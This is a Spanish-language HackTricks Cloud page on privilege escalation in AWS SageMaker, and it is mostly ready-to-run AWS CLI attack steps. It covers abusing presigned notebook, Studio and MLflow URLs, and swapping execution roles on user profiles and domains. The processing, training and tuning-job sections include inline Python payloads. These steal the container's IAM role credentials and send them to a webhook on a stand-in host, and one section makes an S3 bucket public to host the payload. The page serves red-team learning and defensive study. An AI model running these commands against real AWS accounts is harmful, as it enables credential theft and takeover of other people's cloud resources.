AWS - Sagemaker Privesc
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
AWS - Sagemaker Privesc
iam:PassRole , sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl
Comience a crear una instancia de notebook con el IAM Role adjunto para acceder a ella:
aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
La respuesta debe contener un campo NotebookInstanceArn, que contendrá el ARN de la instancia de notebook recién creada. Luego podemos usar la API create-presigned-notebook-instance-url para generar una URL que podremos usar para acceder a la instancia de notebook una vez que esté lista:
aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>
Navega a la URL con el navegador y haz clic en `Open JupyterLab`` en la esquina superior derecha, luego desplázate hasta la pestaña “Launcher” y, en la sección “Other”, haz clic en el botón “Terminal”.
Ahora es posible acceder a las credenciales de metadatos del IAM Role.
Impacto potencial: Privesc al sagemaker service role especificado.
sagemaker:CreatePresignedNotebookInstanceUrl
Si hay Jupyter notebooks ya ejecutándose en él y puedes listarlos con sagemaker:ListNotebookInstances (o descubrirlos de cualquier otra forma). Puedes generar una URL para ellos, acceder y robar las credenciales tal como se indica en la técnica anterior.
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
Impacto potencial: Privesc al rol de servicio adjunto de sagemaker.
sagemaker:CreatePresignedDomainUrl
Warning
Este ataque solo funciona en dominios tradicionales antiguos de SageMaker Studio, no en los creados por SageMaker Unified Studio. Los dominios de Unified Studio devolverán el error: “This SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portal”.
Una identidad con permiso para llamar a sagemaker:CreatePresignedDomainUrl sobre un UserProfile objetivo de Studio puede generar una URL de inicio de sesión que autentica directamente en SageMaker Studio como ese perfil. Esto otorga al navegador del atacante una sesión de Studio que hereda los permisos del ExecutionRole del perfil y acceso completo al home respaldado por EFS y a las apps del perfil. No se requiere iam:PassRole ni acceso a la consola.
Requisitos:
- Un SageMaker Studio
Domainy unUserProfileobjetivo dentro del mismo. - El principal atacante necesita
sagemaker:CreatePresignedDomainUrlen elUserProfileobjetivo (a nivel de recurso) o*.
Ejemplo de política mínima (limitada a un UserProfile):
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sagemaker:CreatePresignedDomainUrl",
"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
}
]
}
Pasos de abuso:
- Enumera un Studio Domain y UserProfiles que puedas atacar
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
aws sagemaker list-user-profiles --domain-id-equals $DOM
TARGET_USER=<UserProfileName>
- Comprueba que unified studio no se esté usando (el ataque solo funciona en dominios tradicionales de SageMaker Studio)
aws sagemaker describe-domain --domain-id <DOMAIN_ID> --query 'DomainSettings'
# If you get info about unified studio, this attack won't work
- Generar una presigned URL (válida ~5 minutos por defecto)
aws sagemaker create-presigned-domain-url \
--domain-id $DOM \
--user-profile-name $TARGET_USER \
--query AuthorizedUrl --output text
- Abre la URL devuelta en un navegador para iniciar sesión en Studio como el usuario objetivo. En un terminal Jupyter dentro de Studio, verifica la identidad efectiva o exfiltra el token:
aws sts get-caller-identity
Notas:
--landing-uripuede omitirse. Algunos valores (p. ej.,app:JupyterLab:/lab) pueden ser rechazados dependiendo de la variante/versión de Studio; los valores por defecto normalmente redirigen a la página principal de Studio y luego a Jupyter.- Las políticas de la organización/restricciones de endpoints VPC aún pueden bloquear el acceso de red; la emisión del token no requiere inicio de sesión en la consola ni
iam:PassRole.
Impacto potencial: Movimiento lateral y escalada de privilegios al asumir cualquier Studio UserProfile cuyo ARN esté permitido, heredando su ExecutionRole y sistema de archivos/aplicaciones.
sagemaker:CreatePresignedMlflowTrackingServerUrl, sagemaker-mlflow:AccessUI, sagemaker-mlflow:SearchExperiments
Una identidad con permiso para invocar sagemaker:CreatePresignedMlflowTrackingServerUrl (y sagemaker-mlflow:AccessUI, sagemaker-mlflow:SearchExperiments para acceso posterior) sobre un SageMaker MLflow Tracking Server objetivo puede generar una URL prefirmada de un solo uso que autentica directamente en la UI gestionada de MLflow de ese servidor. Esto concede el mismo acceso que tendría un usuario legítimo al servidor (ver/crear experiments y runs, y descargar/subir artifacts en el S3 artifact store del servidor).
Requisitos:
- Un SageMaker MLflow Tracking Server en la cuenta/región y su nombre.
- El principal atacante necesita
sagemaker:CreatePresignedMlflowTrackingServerUrlen el recurso MLflow Tracking Server objetivo (o*).
Pasos de abuso:
- Enumera los MLflow Tracking Servers que puedes apuntar y elige un nombre
aws sagemaker list-mlflow-tracking-servers \
--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
TS_NAME=<tracking-server-name>
- Generar una URL presignada para MLflow UI (válida por poco tiempo)
aws sagemaker create-presigned-mlflow-tracking-server-url \
--tracking-server-name "$TS_NAME" \
--query AuthorizedUrl --output text
- Abre la URL devuelta en un navegador para acceder al MLflow UI como un usuario autenticado para ese Tracking Server.
Impacto potencial: Acceso directo al MLflow UI gestionado para el Tracking Server objetivo, permitiendo ver y modificar experimentos/ejecuciones y recuperar o subir artefactos almacenados en el S3 artifact store configurado del servidor, dentro de los permisos impuestos por la configuración del servidor.
sagemaker:CreateProcessingJob, iam:PassRole
Un atacante con esos permisos puede hacer que SageMaker ejecute un processing job con un SageMaker role adjunto. Reutilizando uno de los AWS Deep Learning Containers que ya incluye Python (y ejecutando el job en la misma región que el URI), puedes lanzar código inline sin construir imágenes propias:
REGION=<region>
ROLE_ARN=<sagemaker-arn-role>
IMAGE=683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3
ENV='{"W":"https://example.com/webhook"}'
aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig":{"InstanceCount":1,"InstanceType":"ml.t3.medium","VolumeSizeInGB":50}}' \
--app-specification "{\"ImageUri\":\"$IMAGE\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
--environment "$ENV" \
--role-arn $ROLE_ARN
# Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen.
Impacto potencial: Escalada de privilegios al rol de servicio de sagemaker especificado.
sagemaker:CreateTrainingJob, iam:PassRole
Un attacker con esos permisos puede lanzar un training job que ejecuta código arbitrario con el rol indicado. Usando un contenedor oficial de SageMaker y sobreescribiendo el entrypoint con un payload inline, no necesitas construir imágenes propias:
REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
ENV='{"W":"https://example.com/webhook"}'
OUTPUT_S3=s3://<existing-bucket>/training-output/
# El rol debe poder leer imágenes de ECR (p.e. AmazonEC2ContainerRegistryReadOnly) y escribir en OUTPUT_S3.
aws sagemaker create-training-job \
--training-job-name privesc-train \
--role-arn $ROLE_ARN \
--algorithm-specification "{\"TrainingImage\":\"$IMAGE\",\"TrainingInputMode\":\"File\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
--output-data-config "{\"S3OutputPath\":\"$OUTPUT_S3\"}" \
--resource-config '{"InstanceCount":1,"InstanceType":"ml.m5.large","VolumeSizeInGB":50}' \
--stopping-condition '{"MaxRuntimeInSeconds":600}' \
--environment "$ENV"
# El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol.
Impacto potencial: Privesc al rol de servicio de SageMaker especificado.
sagemaker:CreateHyperParameterTuningJob, iam:PassRole
Un atacante con esos permisos puede lanzar un HyperParameter Tuning Job que ejecuta código controlado por el atacante bajo el rol suministrado. Script mode requiere alojar el payload en S3, pero todos los pasos pueden automatizarse desde la CLI:
REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
BUCKET=sm-hpo-privesc-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
# Allow public reads so any SageMaker role can pull the code
aws s3api put-public-access-block \
--bucket $BUCKET \
--public-access-block-configuration '{
"BlockPublicAcls": false,
"IgnorePublicAcls": false,
"BlockPublicPolicy": false,
"RestrictPublicBuckets": false
}'
aws s3api put-bucket-policy --bucket $BUCKET --policy "{
\"Version\": \"2012-10-17\",
\"Statement\": [
{
\"Effect\": \"Allow\",
\"Principal\": \"*\",
\"Action\": \"s3:GetObject\",
\"Resource\": \"arn:aws:s3:::$BUCKET/*\"
}
]
}"
cat <<'EOF' > /tmp/train.py
import os, time, urllib.request
def main():
meta = os.environ.get("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI")
if not meta:
return
creds = urllib.request.urlopen(f"http://169.254.170.2{meta}").read()
req = urllib.request.Request(
"https://example.com/webhook",
data=creds,
headers={"Content-Type": "application/json"}
)
urllib.request.urlopen(req)
print("train:loss=0")
time.sleep(300)
if __name__ == "__main__":
main()
EOF
cd /tmp
tar -czf code.tar.gz train.py
aws s3 cp code.tar.gz s3://$BUCKET/code/train-code.tar.gz --region $REGION --acl public-read
echo "dummy" > /tmp/input.txt
aws s3 cp /tmp/input.txt s3://$BUCKET/input/dummy.txt --region $REGION --acl public-read
IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
CODE_S3=s3://$BUCKET/code/train-code.tar.gz
TRAIN_INPUT_S3=s3://$BUCKET/input
OUTPUT_S3=s3://$BUCKET/output
# El rol necesita permisos ECR y escritura en el bucket.
cat > /tmp/hpo-definition.json <<EOF
{
"AlgorithmSpecification": {
"TrainingImage": "$IMAGE",
"TrainingInputMode": "File",
"MetricDefinitions": [{"Name": "train:loss", "Regex": "train:loss=([0-9.]+)"}]
},
"StaticHyperParameters": {
"sagemaker_program": "train.py",
"sagemaker_submit_directory": "$CODE_S3"
},
"RoleArn": "$ROLE_ARN",
"InputDataConfig": [
{
"ChannelName": "training",
"DataSource": {
"S3DataSource": {
"S3DataType": "S3Prefix",
"S3Uri": "$TRAIN_INPUT_S3",
"S3DataDistributionType": "FullyReplicated"
}
}
}
],
"OutputDataConfig": {
"S3OutputPath": "$OUTPUT_S3"
},
"ResourceConfig": {
"InstanceType": "ml.m5.large",
"InstanceCount": 1,
"VolumeSizeInGB": 50
},
"StoppingCondition": {
"MaxRuntimeInSeconds": 600
}
}
EOF
aws sagemaker create-hyper-parameter-tuning-job \
--hyper-parameter-tuning-job-name privesc-hpo \
--hyper-parameter-tuning-job-config '{"Strategy":"Random","ResourceLimits":{"MaxNumberOfTrainingJobs":1,"MaxParallelTrainingJobs":1},"HyperParameterTuningJobObjective":{"Type":"Maximize","MetricName":"train:loss"}}' \
--training-job-definition file:///tmp/hpo-definition.json
Cada entrenamiento lanzado por el proceso imprime la métrica y exfiltra las credenciales del rol indicado.
sagemaker:UpdateUserProfile, iam:PassRole, sagemaker:CreateApp, sagemaker:CreatePresignedDomainUrl, (sagemaker:DeleteApp)
Con el permiso para actualizar un SageMaker Studio User Profile, crear una app, una presigned URL para la app y iam:PassRole, un atacante puede establecer el ExecutionRole a cualquier rol IAM que el service principal de SageMaker pueda asumir. Las nuevas apps de Studio lanzadas para ese perfil se ejecutarán con el rol intercambiado, otorgando permisos elevados interactivos vía terminales Jupyter o jobs lanzados desde Studio.
Warning
Este ataque requiere que no haya aplicaciones en el perfil, de lo contrario la creación de la app fallará con un error similar a:
An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again.Si existe alguna app necesitarás el permisosagemaker:DeleteApppara borrarlas primero.
Pasos:
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
# 3) Update the Studio profile to use the new role (no iam:PassRole)
aws sagemaker update-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--user-settings ExecutionRole=$ROLE_ARN
aws sagemaker describe-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query 'UserSettings.ExecutionRole' --output text
# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>
# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>
# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>
# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text
# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
# aws sts get-caller-identity
# (should show the high-privilege role from domain defaults)
Impacto potencial: Privilege escalation a los permisos del rol de ejecución de SageMaker especificado para sesiones interactivas de Studio.
sagemaker:UpdateDomain, sagemaker:CreateApp, iam:PassRole, sagemaker:CreatePresignedDomainUrl, (sagemaker:DeleteApp)
Con permisos para actualizar un SageMaker Studio Domain, crear una app, una presigned URL para la app, y iam:PassRole, un atacante puede establecer el ExecutionRole por defecto del dominio a cualquier rol IAM que el service principal de SageMaker pueda asumir. Las nuevas apps de Studio iniciadas para ese perfil se ejecutarán con el rol intercambiado, otorgando permisos elevados interactivos vía terminales Jupyter o jobs lanzados desde Studio.
Warning
Este ataque requiere que no haya aplicaciones en el dominio, de lo contrario la creación de la app fallará con el error:
An error occurred (ValidationException) when calling the UpdateDomain operation: Unable to update Domain [arn:aws:sagemaker:us-east-1:947247140022:domain/d-fcmlssoalfra] with InService App. Delete all InService apps in the domain including shared Apps for [domain-shared] User Profile, and try again.
Pasos:
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
# 3) Change the domain default so every profile inherits the new role
aws sagemaker update-domain \
--domain-id <DOMAIN_ID> \
--default-user-settings ExecutionRole=$ROLE_ARN
aws sagemaker describe-domain \
--domain-id <DOMAIN_ID> \
--query 'DefaultUserSettings.ExecutionRole' --output text
# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>
# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>
# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--app-type JupyterServer \
--app-name js-domain-escalated
# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text
# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
# aws sts get-caller-identity
# (should show the high-privilege role from domain defaults)
Potential Impact: Escalada de privilegios a los permisos del ExecutionRole de SageMaker especificado para sesiones interactivas de Studio.
sagemaker:CreateApp, sagemaker:CreatePresignedDomainUrl
Un atacante con permiso para crear una app de SageMaker Studio para un UserProfile objetivo puede lanzar una app JupyterServer que se ejecuta con el ExecutionRole del perfil. Esto proporciona acceso interactivo a los permisos del ExecutionRole mediante terminales Jupyter o jobs lanzados desde Studio.
Pasos:
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
# 3) Create a JupyterServer app for the user profile
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name js-privesc
# 4) Generate a presigned URL to access Studio
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text
# 5) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
# aws sts get-caller-identity
Impacto potencial: Acceso interactivo al rol de ejecución de SageMaker adjunto al UserProfile objetivo.
iam:GetUser, datazone:CreateUserProfile
Un atacante con esos permisos puede conceder a un IAM user acceso a un Sagemaker Unified Studio Domain creando un DataZone User Profile para ese usuario.
# List domains
aws datazone list-domains --region us-east-1 \
--query "items[].{Id:id,Name:name}" \
--output json
# Add IAM user as a user of the domain
aws datazone create-user-profile \
--region us-east-1 \
--domain-identifier <domain-id> \
--user-identifier <arn-user> \
--user-type IAM_USER
La URL del Unified Domain tiene el siguiente formato: https://<domain-id>.sagemaker.<region>.on.aws/ (p. ej. https://dzd-cmixuznq0h8cmf.sagemaker.us-east-1.on.aws/).
Impacto potencial: Acceso al Sagemaker Unified Studio Domain como usuario, lo que permite acceder a todos los recursos del dominio de Sagemaker e incluso escalar privilegios al rol que utilizan los notebooks dentro del Sagemaker Unified Studio Domain.
Referencias
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks Cloud

